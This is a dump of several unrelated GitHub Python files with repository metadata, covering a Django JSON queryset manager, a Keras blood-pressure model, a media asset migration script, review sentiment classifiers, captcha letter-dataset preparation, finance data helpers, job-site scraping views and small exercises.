lookupkey in extra_lookups.keys():\n evalresult = self._evaluate_json_lookup(item, lookupkey, extra_lookups[lookupkey])\n if negate : evalresult = not evalresult \n if not evalresult : \n resultlist.pop( i )\n break\n\n clone._result_cache = resultlist\n\n return clone\n\n def _evaluate_json_lookup(self, item, lookup, value):\n oper = 'exact'\n\n evaluators = {\n 'icontains': lambda item, value: item.lower() in value.lower(),\n 'contains': lambda item, value: item in value,\n 'in': lambda item, value: item in value,\n 'iexact': lambda item, value: item.lower() == value.lower(),\n 'exact': lambda item, value: item == value,\n 'lt': lambda item, value: item < value,\n 'lte': lambda item, value: item <= value,\n 'gt': lambda item, value: item > value,\n 'gte': lambda item, value: item >= value,\n 'range': lambda item, value: item >= value[0] and item <= value[1],\n }\n\n def _getattr(obj, key):\n if isinstance(obj, dict):\n return obj[key]\n return getattr(obj, key)\n\n if lookup.split('__')[-1] in evaluators.keys():\n oper = lookup.split('__')[-1]\n lookup = '__'.join(lookup.split('__')[:-1])\n\n # DGT Verifica que el objeto json se un dictionario o lo convierte \n field = getattr(item, lookup.split('__')[0])\n if isinstance(field, dict) : \n jdict = field\n elif isinstance( field, ( six.string_types, six.text_type, bytes)) :\n try:\n jdict = json.loads(field)\n except :\n return False\n else: return False\n\n for key in lookup.split('__')[1:]:\n try:\n jdict = _getattr(jdict, key)\n except (AttributeError, KeyError):\n return False\n\n return evaluators[oper](jdict, value)\n\n\n def order_by(self, *args, **kwargs):\n # TODO: Dgt 1506 I d'nt find a way to know if the rs was filtered jsonfields\n # if self.json_lookups : ...\n return self \n\n def _clone(self, *args, **kwargs):\n clone = super(JSONAwareQuerySet, self)._clone(*args, **kwargs)\n clone.json_fields = self.json_fields\n # clone.json_lookups = getattr( self, 'json_lookups', False ) \n\n return clone\n\n\nclass JSONAwareManager(models.Manager):\n \n def __init__(self, json_fields=[], *args, **kwargs):\n self.json_fields = json_fields\n super(JSONAwareManager, self).__init__(*args, **kwargs)\n\n def get_queryset(self):\n return JSONAwareQuerySet(self.json_fields, self.model)\n\n\n# https://docs.djangoproject.com/en/1.8/topics/db/managers/#manager-names ","repo_name":"DarioGT/django-jsonfield2","sub_path":"jsonfield2/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"71150038509","text":"import numpy as np\r\nfrom keras import Input\r\nfrom keras.callbacks import LearningRateScheduler\r\nfrom keras.callbacks import ModelCheckpoint\r\nfrom keras.layers import Dense, Dropout, Flatten, Conv1D, MaxPooling1D, Add, Multiply,\\\r\n GlobalAveragePooling1D, Concatenate, GRU, BatchNormalization, ELU, Activation, UpSampling1D, Conv1DTranspose\r\nfrom keras import backend as K\r\nfrom keras.models import Model\r\n\r\n# 学习率更新以及调整\r\n\r\ndef scheduler(epoch):\r\n if epoch == 0:\r\n lr = K.get_value(model.optimizer.lr) # keras默认0.001\r\n K.set_value(model.optimizer.lr, lr*100)\r\n print(\"lr changed to {}\".format(lr))\r\n if epoch != 0:\r\n lr = K.get_value(model.optimizer.lr)\r\n # K.set_value(model.optimizer.lr, lr * math.pow(0.99, epoch/30))\r\n K.set_value(model.optimizer.lr, lr / (1 + 0.0001 * epoch))\r\n print(\"lr changed to {}\".format(lr))\r\n return K.get_value(model.optimizer.lr)\r\n\r\nindex = 213\r\n\r\n# 数据导入\r\ndata1 = np.load('D:/blood_pressure/train1/ppg' + str(index) + '.npy', allow_pickle=True)\r\ndata2 = np.load('D:/blood_pressure/train1/abp' + str(index) + '.npy', allow_pickle=True)\r\ndata3 = np.load('D:/blood_pressure/train1/ecg' + str(index) + '.npy', allow_pickle=True)\r\n\r\nprint(data1.shape)\r\nstart = int(data1.shape[0]*0.9)\r\nend = int(data1.shape[0])\r\n\r\ni = 125\r\no = 125\r\n\r\ndef Filter(inputs, c):\r\n\r\n input = GlobalAveragePooling1D()(inputs)\r\n x = Dense(c, activation='relu')(input)\r\n x = Dense(c, activation='softmax')(x)\r\n\r\n return x\r\n\r\ndef models1(inputs):\r\n\r\n # 编码器\r\n conv1 = Conv1D(filters=128, kernel_size=7, strides=1)(inputs)\r\n conv1 = BatchNormalization(momentum=0.99, epsilon=0.001)(conv1)\r\n conv1 = ELU()(conv1)\r\n\r\n conv2 = Conv1D(filters=128, kernel_size=7, strides=1)(conv1)\r\n conv2 = BatchNormalization(momentum=0.99, epsilon=0.001)(conv2)\r\n conv2 = ELU()(conv2)\r\n conv2 = MaxPooling1D(pool_size=2, strides=2)(conv2)\r\n\r\n conv3 = Conv1D(filters=128, kernel_size=5, strides=1)(conv2)\r\n conv3 = BatchNormalization(momentum=0.99, epsilon=0.001)(conv3)\r\n conv3 = ELU()(conv3)\r\n\r\n conv4 = Conv1D(filters=128, kernel_size=5, strides=1)(conv3)\r\n conv4 = BatchNormalization(momentum=0.99, epsilon=0.001)(conv4)\r\n conv4 = ELU()(conv4)\r\n conv4 = MaxPooling1D(pool_size=2, strides=2)(conv4)\r\n\r\n conv5 = Conv1D(filters=128, kernel_size=3, strides=1)(conv4)\r\n conv5 = BatchNormalization(momentum=0.99, epsilon=0.001)(conv5)\r\n conv5 = ELU()(conv5)\r\n\r\n conv6 = Conv1D(filters=128, kernel_size=3, strides=1)(conv5)\r\n conv6 = BatchNormalization(momentum=0.99, epsilon=0.001)(conv6)\r\n conv6 = ELU()(conv6)\r\n conv6 = MaxPooling1D(pool_size=2, strides=2)(conv6)\r\n\r\n # 通道信息筛选器\r\n filter1 = Filter(conv1, 128)\r\n filter2 = Filter(conv2, 128)\r\n filter3 = Filter(conv3, 128)\r\n filter4 = Filter(conv4, 128)\r\n filter5 = Filter(conv5, 128)\r\n filter6 = Filter(conv6, 128)\r\n\r\n # 时序信息提取器\r\n gru1 = GRU(128, activation='tanh')(conv1)\r\n gru2 = GRU(128, activation='tanh')(conv2)\r\n gru3 = GRU(128, activation='tanh')(conv3)\r\n gru4 = GRU(128, activation='tanh')(conv4)\r\n gru5 = GRU(128, activation='tanh')(conv5)\r\n gru6 = GRU(128, activation='tanh')(conv6)\r\n\r\n # 通道与时序结合\r\n filter_gru1 = Add()([filter1, gru1])\r\n filter_gru2 = Add()([filter2, gru2])\r\n filter_gru3 = Add()([filter3, gru3])\r\n filter_gru4 = Add()([filter4, gru4])\r\n filter_gru5 = Add()([filter5, gru5])\r\n filter_gru6 = Add()([filter6, gru6])\r\n\r\n # 解码器\r\n Tconv1 = Conv1DTranspose(filters=128, kernel_size=3, strides=1)(conv6)\r\n Tconv1 = BatchNormalization(momentum=0.99, epsilon=0.001)(Tconv1)\r\n Tconv1 = ELU()(Tconv1)\r\n Tconv1 = Multiply()([filter_gru6, Tconv1])\r\n\r\n Tconv2 = Conv1DTranspose(filters=128, kernel_size=3, strides=2)(Tconv1)\r\n Tconv2 = BatchNormalization(momentum=0.99, epsilon=0.001)(Tconv2)\r\n Tconv2 = ELU()(Tconv2)\r\n Tconv2 = Multiply()([filter_gru5, Tconv2])\r\n\r\n Tconv3 = Conv1DTranspose(filters=128, kernel_size=5, strides=1)(Tconv2)\r\n Tconv3 = BatchNormalization(momentum=0.99, epsilon=0.001)(Tconv3)\r\n Tconv3 = ELU()(Tconv3)\r\n Tconv3 = Multiply()([filter_gru4, Tconv3])\r\n\r\n Tconv4 = Conv1DTranspose(filters=128, kernel_size=5, strides=2)(Tconv3)\r\n Tconv4 = BatchNormalization(momentum=0.99, epsilon=0.001)(Tconv4)\r\n Tconv4 = ELU()(Tconv4)\r\n Tconv4 = Multiply()([filter_gru3, Tconv4])\r\n\r\n Tconv5 = Conv1DTranspose(filters=128, kernel_size=7, strides=1)(Tconv4)\r\n Tconv5 = BatchNormalization(momentum=0.99, epsilon=0.001)(Tconv5)\r\n Tconv5 = ELU()(Tconv5)\r\n Tconv5 = Multiply()([filter_gru2, Tconv5])\r\n\r\n Tconv6 = Conv1DTranspose(filters=128, kernel_size=7, strides=2)(Tconv5)\r\n Tconv6 = BatchNormalization(momentum=0.99, epsilon=0.001)(Tconv6)\r\n Tconv6 = ELU()(Tconv6)\r\n Tconv6 = Multiply()([filter_gru1, Tconv6])\r\n\r\n out = GlobalAveragePooling1D()(Tconv6)\r\n\r\n return out\r\n\r\ndef models(inputs1, inputs2):\r\n\r\n x = models1(inputs1)\r\n\r\n y = models1(inputs2)\r\n\r\n z = Add()([x, y])\r\n z = Dense(o, activation='linear')(z)\r\n z = Dense(o, activation='linear')(z)\r\n\r\n out = Model(inputs=[inputs1, inputs2], outputs=[z], name=\"model\")\r\n\r\n return out\r\n\r\ninputs1 = Input(shape=(i, 1))\r\ninputs2 = Input(shape=(i, 1))\r\nmodel = models(inputs1, inputs2)\r\nmodel.summary()\r\n\r\n\r\nmodel.compile(loss=['mean_absolute_error'], optimizer='Adam')\r\n\r\nfilepath = \"D:/blood_pressure/8BP/view/model_heat.hdf5\" # 保存模型的路径\r\n\r\ncheckpoint = ModelCheckpoint(filepath=filepath, verbose=2,\r\n monitor='val_loss', mode='min', save_best_only='True')\r\n\r\nreduce_lr = LearningRateScheduler(scheduler) # 学习率的改变\r\ncallback_lists = [checkpoint, reduce_lr]\r\n\r\ntrain_history = model.fit(x=[data1[:start], data3[:start]],\r\n y=[data2[:start]], verbose=2,\r\n validation_data=([data1[start:end], data3[start:end]], [data2[start:end]]),\r\n class_weight=None, callbacks=callback_lists,\r\n epochs=500, batch_size=128, shuffle=False)\r\n","repo_name":"LiYongjian206/blood_pressure","sub_path":"BP_Model.py","file_name":"BP_Model.py","file_ext":"py","file_size_in_byte":6165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37330392589","text":"#! /usr/bin/env python3\n\nimport logging\nimport logging.config\nimport os\nfrom logging.handlers import TimedRotatingFileHandler\nfrom time import localtime, strftime\n\nimport yaml\n\nimport config as cfg\nimport create_xml as xml_c\nimport crosscheck_assets as cca\nimport csv_clean as csv_c\nimport csv_parse as csv_p\nimport diva_oracle_query as d_query\nimport get_proxy as gp\nimport gorilla_oracle_query as g_query\nimport merge_dbs as mdb\nimport update_db as udb\nimport user_input as ui\n\nlogger = logging.getLogger(__name__)\n\n\ndef set_logger():\n \"\"\"Setup logging configuration\"\"\"\n path = \"logging.yaml\"\n\n with open(path, \"rt\") as f:\n config = yaml.safe_load(f.read())\n logger = logging.config.dictConfig(config)\n\n return logger\n\n\ndef main():\n \"\"\"\n This script is specifically for migrating data from one media asset\n management system (MAM) to another (Gorilla to Dalet).\n The script calls a set of modules to execute a series of steps that\n perform the data migration: First, query the two separate dbs, then merge\n the query results based on a common field. The merged csv data is then\n parsed for rows that contain certain string patterns. The string patterns\n are specific to the data that needs to migrate. The csv created from the\n parsing is then cleaned - a metaxml field containing mediainfo is split\n out into 7 new columns, and the data from the XML elements is used to\n populate the newly created columns. The bad data from the XML is dropped,\n some incorrect data is fixed, and empty values are marked as NULL. The\n final version of the csv containing the cleaned data is then used to\n create new XMLs records to check into in the Dalet MAM.\n \"\"\"\n\n date = str(strftime(\"%Y%m%d%H%M\", localtime()))\n date_frmt = str(strftime(\"%A, %d. %B %Y %I:%M%p\", localtime()))\n tablename = \"assets\"\n\n cfg.ensure_dirs()\n\n start_msg = f\"\\n\\\n ================================================================\\n \\\n Gorilla-Diva Asset Migration Script\\n\\\n Version: 0.0.4\\n\\\n Date: {date_frmt}\\n\\\n ================================================================\\n\\\n \\n\"\n\n logger.info(start_msg)\n logger.error(start_msg)\n\n (\n xml_total,\n proxy_total,\n getnew_db,\n crosscheck_db,\n crosscheck_assets,\n ) = ui.get_user_input()\n\n if getnew_db is True and crosscheck_db is False and crosscheck_assets is False:\n gor_csv = g_query.buildcsv(date)\n diva_csv = d_query.buildcsv(date)\n merged_csv = mdb.pandas_merge(date, diva_csv, gor_csv)\n parsed_csv = csv_p.db_parse(date, merged_csv)\n cleaned_csv, tablename = csv_c.csv_clean(date)\n udb.update_db(date, tablename)\n final_steps(xml_total, proxy_total)\n elif getnew_db is True and crosscheck_db is True and crosscheck_assets is True:\n gor_csv = g_query.buildcsv(date)\n diva_csv = d_query.buildcsv(date)\n merged_csv = mdb.pandas_merge(date, diva_csv, gor_csv)\n parsed_csv = csv_p.db_parse(date, merged_csv)\n cleaned_csv, tablename = csv_c.csv_clean(date)\n udb.update_db(date, tablename)\n cca.crosscheck_db(tablename)\n cca.crosscheck_assets(tablename)\n final_steps(xml_total, proxy_total)\n elif getnew_db is False and crosscheck_db is True and crosscheck_assets is True:\n cca.crosscheck_db(tablename)\n cca.crosscheck_assets(tablename)\n final_steps(xml_total, proxy_total)\n elif getnew_db is False and crosscheck_db is True and crosscheck_assets is False:\n cca.crosscheck_db(tablename)\n final_steps(xml_total, proxy_total)\n elif getnew_db is False and crosscheck_db is False and crosscheck_assets is True:\n cca.crosscheck_assets(tablename)\n final_steps(xml_total, proxy_total)\n else:\n final_steps(xml_total, proxy_total)\n\n\ndef final_steps(xml_total, proxy_total):\n if int(xml_total) > 0:\n xml_c.create_xml(xml_total)\n\n if int(proxy_total) > 0:\n gp.get_proxy(proxy_total)\n\n complete_msg = f\"\\n\\n{'='*25} SCRIPT COMPLETE {'='*25}\"\n logger.info(complete_msg)\n\n\nif __name__ == \"__main__\":\n set_logger()\n main()\n","repo_name":"scuc/Media-Asset-Migration","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29591230151","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Importing the libraries\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nfrom sklearn.metrics import confusion_matrix\n\n\n# ### Importing the dataset\n\n# In[2]:\n\n\ndataset = pd.read_csv('Restaurant_Reviews.tsv', delimiter = '\\t', quoting = 3)\ndataset.head()\n\n\n# ### Cleaning the texts\n\n# In[3]:\n\n\nimport re\nimport nltk\n#download stopwords\n# nltk.download('stopwords')\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\ncorpus = []\nfor i in range(0, 1000):\n #replace chars that are not a-z or A-Z with space\n review = re.sub('[^a-zA-Z]', ' ', dataset['Review'][i])\n #lower case all the chars\n review = review.lower()\n #split the words of the review.Returns a list\n review = review.split()\n #stem the words having variation with the tenses \n ps = PorterStemmer()\n review = [ps.stem(word) for word in review if not word in set(stopwords.words('english'))]\n #join the words in the list with space separation\n review = ' '.join(review)\n #all the reviews appended in an array\n corpus.append(review)\n\n\n# In[4]:\n\n\n#first review\nprint(dataset.iloc[0,0:1].values)\n#after cleaning the text\nprint(corpus[0])\n\n\n# ### Creating the Bag of Words model\n\n# In[5]:\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer\n#creating sparse matrix\ncv = CountVectorizer(max_features = 1500)\nX = cv.fit_transform(corpus).toarray()\ny = dataset.iloc[:, 1].values\n\n\n# In[6]:\n\n\n#sparse matrix of the words\nprint(X)\n\n\n# In[7]:\n\n\n#likes and dislikes\nprint(y)\n\n\n# ### Splitting the dataset into the Training set and Test set\n\n# In[8]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 0)\n\n\n# ### Model Report\n\n# In[9]:\n\n\ndef model_report(classifier):\n #fit training set\n classifier.fit(X_train, y_train)\n \n #Predicting the Test set results\n y_pred = classifier.predict(X_test)\n \n # Making the Confusion Matrix\n cm = confusion_matrix(y_test, y_pred)\n tp, fp, fn, tn=cm.ravel()\n print(\"\\nConfusion Matrix:\\n\",cm)\n \n #predict accuracy\n accuracy=(tp+tn)/(tp+tn+fp+fn)\n print(\"\\nAccuracy:\" ,accuracy*100,\"%\")\n \n #find precision\n precision = tp / (tp + fp)\n print(\"\\nPrecision:\",tp)\n \n #recall\n recall= tp/(tp+fn)\n print(\"\\nRecall:\",recall)\n \n #F1 Score\n F1_score = 2 * precision * recall / (precision + recall)\n print(\"\\nF1 Score:\",F1_score)\n \n \n\n\n# ## Training the Naive Bayes model on the Training set\n\n# In[10]:\n\n\nfrom sklearn.naive_bayes import GaussianNB\nclassifier_na = GaussianNB()\nprint(\"----Naive Bayers Classifier----\")\nmodel_report(classifier_na)\n\n\n# ## Training the Decision Tree model on the Training set\n\n# In[11]:\n\n\nfrom sklearn.tree import DecisionTreeClassifier\nclassifier_dtc = DecisionTreeClassifier(criterion = 'entropy', random_state = 0)\nprint(\"----Decision Tree Classifier----\")\nmodel_report(classifier_dtc)\n\n\n# ## Training the Random Forest model on the Training set\n\n# In[12]:\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nclassifier_rf = RandomForestClassifier(n_estimators = 10, criterion = 'entropy', random_state = 0)\nprint(\"----Random Forest Classifier----\")\nmodel_report(classifier_rf)\n\n","repo_name":"FarheenB/Restaurant-Reviews-with-NLP-in-Python","sub_path":"NLP.py","file_name":"NLP.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3679778253","text":"import os\nfrom config import CONFIGURATION\nfrom image import get_letters\nimport numpy as np\nfrom cv2 import cv2\nfrom helper import letter_to_class, build_data_map \n\n\ndef main():\n data_x = []\n data_y = []\n\n dir_path = CONFIGURATION['path']['captcha']\n image_contents = build_data_map(dir_path)\n\n counter = 0\n\n for fname, contents in image_contents.items():\n counter += 1\n print(counter, fname, contents)\n\n letters = get_letters(os.path.join(dir_path, fname), len(contents))\n if letters != None:\n for i, letter in enumerate(letters):\n heigth, width = np.shape(letter)\n if heigth != CONFIGURATION['data']['height'] or width != CONFIGURATION['data']['width']:\n print(i, 'Letter is not valid')\n continue\n\n content = contents[i]\n\n data_x.append(letter)\n data_y.append(np.uint8(letter_to_class(content)))\n\n fpath = os.path.join(CONFIGURATION['path']['train'], content)\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n letter_fname = os.path.join(fpath, str(i + 1) + '-' + content + '.png')\n\n try:\n cv2.imwrite(letter_fname, letter)\n except:\n print('Saving letter failed')\n else:\n print('Letters is not valid')\n\n train_num = int(len(data_y) * CONFIGURATION['model']['split_ratio'])\n\n print('saving dataset')\n np.savez_compressed(dir_path,\n x_train=data_x[:train_num], y_train=data_y[:train_num],\n x_test=data_x[train_num:], y_test=data_y[train_num:])\n\n\ndef build_captcha_data(path):\n data_x = []\n data_y = []\n\n image_contents = build_data_map(path)\n\n for fname, contents in image_contents.items(): \n letters = get_letters(os.path.join(path, fname), len(contents))\n if letters != None:\n X = []\n for _, letter in enumerate(letters):\n heigth, width = np.shape(letter)\n if heigth != CONFIGURATION['data']['height'] or width != CONFIGURATION['data']['width']:\n continue\n X.append(letter)\n \n if len(X) == len(letters):\n data_x.append(X)\n data_y.append(contents)\n return data_x, data_y\n\n\nif __name__ == '__main__':\n main()","repo_name":"mortezaezzabady/captcha-breaker","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40031343418","text":"from contextlib import suppress\nfrom typing import Tuple, Dict, Any\n\nfrom gevent.queue import Queue as gQueue, Empty\n\nfrom .clusternode import ClusterNode, rpc_method\nfrom .handlerproxy import HandlerProxy\n\n\nclass HubNode(HandlerProxy, ClusterNode):\n Q_BLOCK_TIMEOUT = 1.0\n\n def __init__(self, name: str, bind_address: Tuple[str, int] = None,\n *,\n nodes: Dict[str, Tuple[str, int]] = None):\n assert name in nodes\n super().__init__(name, bind_address, account=True, price=True, spread=True, nodes=nodes)\n self._pub_q = gQueue()\n self._subscribers = set()\n\n self.add_task(self.run_publish, .0)\n\n def handle_udp(self, data: Any, address: Tuple[str, int]):\n if isinstance(data, dict):\n self.handle(**data)\n self._pub_q.put(data)\n\n def run_publish(self):\n with suppress(Empty):\n data = self._pub_q.get(timeout=self.Q_BLOCK_TIMEOUT) # type: dict\n for remote_name in tuple(self._subscribers):\n if remote_name not in self._nodes:\n self._subscribers.remove(remote_name)\n try:\n self.rpc(remote_name).publish(data)\n except Exception as e:\n self.exception(str(e))\n\n @rpc_method\n def subscribe(self, name):\n self._subscribers.add(name)\n\n @rpc_method\n def unsubscribe(self, name):\n with suppress(KeyError):\n self._subscribers.remove(name)\n","repo_name":"tetocode/fxarb","sub_path":"pyfx/pyfx/hubnode.py","file_name":"hubnode.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23646001971","text":"'''关于字符串方法的操作.....'''\n\n\ndef strip():\n params = input('请输入一个参数>>>>>')\n\n if params.isalnum():\n print('你输入的是一个数字+字母字符串.......')\n else:\n print('请输入纯数字.......')\n\n\n'''输入一个参数,计算出索引和显示出索引对应的字符'''\n\n\ndef splat():\n test = input(\">>>>>\")\n for item in range(0, len(test)):\n print(item, test[item])\n\n\n\"\"\"开发敏感过滤器,,出现敏感词汇后替换成*****显示\"\"\"\n\n\ndef character():\n i = '一本道'\n parameter = input('输入内容>>>>>')\n if parameter in i:\n e = parameter.replace('一本道', '****')\n print(e)\n else:\n print(parameter)\n\n\n\"\"\"制作随机验证码........\"\"\"\n\n\ndef check_code():\n import random\n checkcode = ''\n for i in range(4):\n current = random.randint(0, 4)\n if current != i:\n temp = chr(random.randint(65, 90))\n else:\n temp = random.randint(0, 9)\n checkcode += str(temp)\n return checkcode\n\n\nwhile True:\n code = check_code()\n print(code)\n verify = input('请输入验证码>>>')\n if verify.upper() == code:\n print('succeed')\n break\n\n\"\"\"制作表格\"\"\"\n\n\ndef tables():\n s = ''\n while True:\n v1 = input(\">>>>\")\n v2 = input(\">>>>\")\n v3 = input(\">>>>\")\n template = \"{0}\\t{1}\\t{2}\\n\"\n v = template.format(v1, v2, v3)\n s = s + v\n if v1 == \"q\":\n break\n print(s.expandtabs(20))\n\n\n'''\n分页显示内容:\n a.通过for循环创建301条数据,数据类型不限,,,如\n alex1 alex1@163.com pad1\n b.提示用户输入页面,在显示输入页面的内容......\n (每一页只显示10条内容)\n'''\n\n\ndef group():\n paras = []\n for i in range(0, 301):\n dictionary = {\n \"name\": \"alex\" +\n str(i),\n \"e_mail\": \"alex\" +\n str(i) +\n \"@163.com\",\n \"pad\" +\n str(i): \"123\"}\n paras.append(dictionary)\n print(paras)\n\n num = int(input(\"请输入页码>>>>\"))\n start = (num - 1) * 10\n end = num * 10\n result = paras[start:end]\n for item in result:\n # items = \"=\".join(item)\n item = str(item)\n print(item.replace(\":\", \"=\"), type(item))\n\n\n\"\"\"2 统计s='hello alex alex say hello sb sb'中每个单词的个数,结果如:{'hello': 2, 'alex': 2, 'say': 1, 'sb': 2}\"\"\"\n\n\ndef stop():\n s = \"hello alex alex say hello sb sb\"\n s = s.split(' ')\n collect = {}\n for accept in s:\n if accept in collect:\n collect[accept] += 1\n else:\n collect[accept] = 1\n print(collect)\n","repo_name":"xiaotiankeyi/PythonBase","sub_path":"python_Base/exercise/exercise_str.py","file_name":"exercise_str.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22166163026","text":"from broccoli_common import *\nfrom registration import *\nfrom motion_correction import *\nfrom firstlevel import *\n\n__all__ = [\n 'BROCCOLI_LIB',\n 'load_MNI_templates',\n 'load_T1',\n 'load_EPI',\n 'packArray',\n 'packVolume',\n 'unpackOutputArray',\n 'unpackOutputVolume',\n 'registerT1MNI',\n 'registerEPIT1',\n 'performMotionCorrection',\n 'performFirstLevelAnalysis',\n]\n","repo_name":"wanderine/BROCCOLI","sub_path":"code/Python_Wrapper/broccoli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"37"} +{"seq_id":"4304312921","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 2 18:12:20 2023\n\n@author: tester\n\"\"\"\n\nimport requests\nimport yfinance as yf\nimport pandas as pd\nimport time\n\n\ndef search_ticker(cik,item,headers):\n \n response = requests.get(\"https://data.sec.gov/api/xbrl/companyfacts/{}.json\".format(cik), headers=headers)\n time.sleep(0.5)\n try:\n \n if item == \"EarningsPerShareBasic\" or item ==\"EarningsPerShareDiluted\":\n data = pd.json_normalize(response.json()[\"facts\"][\"us-gaap\"][item][\"units\"][\"USD/shares\"]).dropna()\n return data[[\"val\", \"frame\"]]\n else:\n data = pd.json_normalize(response.json()[\"facts\"][\"us-gaap\"][item][\"units\"][\"USD\"]).dropna()\n return data[[\"val\", \"frame\"]]\n except KeyError:\n \n data = None\n \n \ndef search_cik(name, df_names):\n \n cik = df_names[df_names[\"Name\"] == name]['cik'].values[0]\n \n return str(cik)\n\n\n\ndef history_data(ticker, period_item, interval_item):\n data = yf.Ticker(ticker)\n \n \n hist = data.history(period=period_item, interval=interval_item)\n \n \n \n return hist.reset_index()\n\n\ndef yf_ticker(ticker):\n \n data = yf.Ticker(ticker)\n \n return data\n\ndef cash_flow_data(ticker):\n \n dft= yf_ticker(ticker).cash_flow\n \n \n return dft.T\n\ndef earn_data(ticker):\n \n earn = yf_ticker(ticker).earnings_dates\n \n date_list=[]\n \n for date in earn.index:\n \n date_list.append(date.date())\n \n earn[\"Date\"] = date_list \n earn = earn.set_index(\"Date\")\n earn = earn.dropna(how = \"all\")\n return earn.iloc[1:]\n\n\n\ndef divs_data(ticker):\n \n divs = yf_ticker(ticker).actions\n \n date_list=[]\n \n for date in divs.index:\n \n date_list.append(date.date())\n \n divs[\"Date\"] = date_list \n \n divs = divs.set_index(\"Date\")\n \n divs = divs.dropna(how = \"all\")\n \n return divs[\"Dividends\"].iloc[-15:]\n\n\n\n\n\ndef ebit_data(ticker):\n \n ebit = yf_ticker(ticker).financials\n \n \n ebit_data = ebit.loc[[\"Normalized EBITDA\", \"EBITDA\",\"EBIT\"]]\n \n return ebit_data.T\n\n\n\ndef ticker_selector(name, df_names): \n \n \n ticker = df_names[df_names[\"Name\"] == name]['SYMBOL'].values[0]\n \n return ticker\n","repo_name":"Miguelaco96/AcostaHUB","sub_path":"funcions.py","file_name":"funcions.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43386620772","text":"################Cancel reservation#####################\n\n# as long as Confirmation is false, user has to choose a seat, when free seat is chosen and confirmed, confirmation = True\nconfirmation_cancel = False\n\n# check if user is admin?\n\n# loop to select a seat\nwhile not confirmation_cancel:\n # Seat selection\n seat = select_seat()\n if seat != None:\n row = seat[0] + 1\n sign = seat[1]\n # Check if the seat is reserved\n cursor.execute(\"SELECT %s FROM seats where row_number = ?\" % sign, (row,))\n seat_sql = cursor.fetchall()\n if seat_sql == [('X',)]:\n print(\"Do you want to cancel seat \", sign, \"in row \", row, \"? If yes enter Y, if not enter N.\")\n conf = input()\n if conf == 'Y':\n confirmation_cancel = True\n # Change selected seat from 'X' to seatnumber in dataframe\n cursor.execute('update seats set %s = ? where row_number = %s' % (sign, row), (sign,))\n connection.commit()\n else:\n print(\"This seat is not reserved.\")\n confirmation_cancel = True\n else:\n print(\"Please select another seat.\")\n continue\n\n# show seat chart\nfor row in cursor.execute('select * from seats'):\n print(row[1], row[2], row[3], \"| |\", row[4], row[5], row[6])\n\n# close database\nconnection.close()\n","repo_name":"Locke-G/Fantastic-Four","sub_path":"Format_classmodels/cancel_reservation.py","file_name":"cancel_reservation.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12146986403","text":"from django.shortcuts import render\nfrom django.http import Http404\nfrom django.db import IntegrityError\nimport datetime\nfrom scraping.utils import *\nfrom scraping.models import *\nfrom scraping.forms import FindVacancyForm\n\n\n\ndef list_v(request):\n today = datetime.date.today()\n city = City.objects.get(name='Львов')\n specialty = Specialty.objects.get(name='Python')\n qs = Vacancy.objects.filter(city=city.id, specialty=specialty.id, timestamp=today)\n if qs:\n return render(request, 'scraping/list.html', {'jobs': qs})\n return render(request, 'scraping/list.html')\n\n\n\ndef home(request):\n city = City.objects.get(name='Киев')\n specialty = Specialty.objects.get(name='Python')\n url_qs = Url.objects.filter(city=city, specialty=specialty)\n site = Site.objects.all()\n url_w = url_qs.get(site=site.get(name='Work.ua')).url_address\n url_dj = url_qs.get(site=site.get(name='Djinni.co')).url_address\n url_r = url_qs.get(site=site.get(name='Rabota.ua')).url_address\n url_dou = url_qs.get(site=site.get(name='Dou.ua')).url_address\n jobs = []\n jobs.extend(djinni(url_dj))\n jobs.extend(rabota(url_r))\n jobs.extend(work(url_w))\n jobs.extend(dou(url_dou))\n \n # v = Vacancy.objects.filter(city=city.id, specialty=specialty.id).values('url')\n # url_list = [i['url'] for i in v]\n for job in jobs:\n vacancy = Vacancy(city=city, specialty=specialty, url=job['href'],\n title=job['title'], description=job['descript'], company=job['company'])\n try:\n vacancy.save()\n except IntegrityError:\n pass\n\n return render(request, 'scraping/list.html', {'jobs': jobs})","repo_name":"olegJF/api_notes","sub_path":"job/find_it/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"29467708103","text":"import argparse\nfrom collections import OrderedDict, defaultdict\nimport numpy as np\nimport os\nimport plotly.express as px\nfrom PIL import Image\nimport random\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport matplotlib.pyplot as plt\nimport io\n\nfrom tqdm import 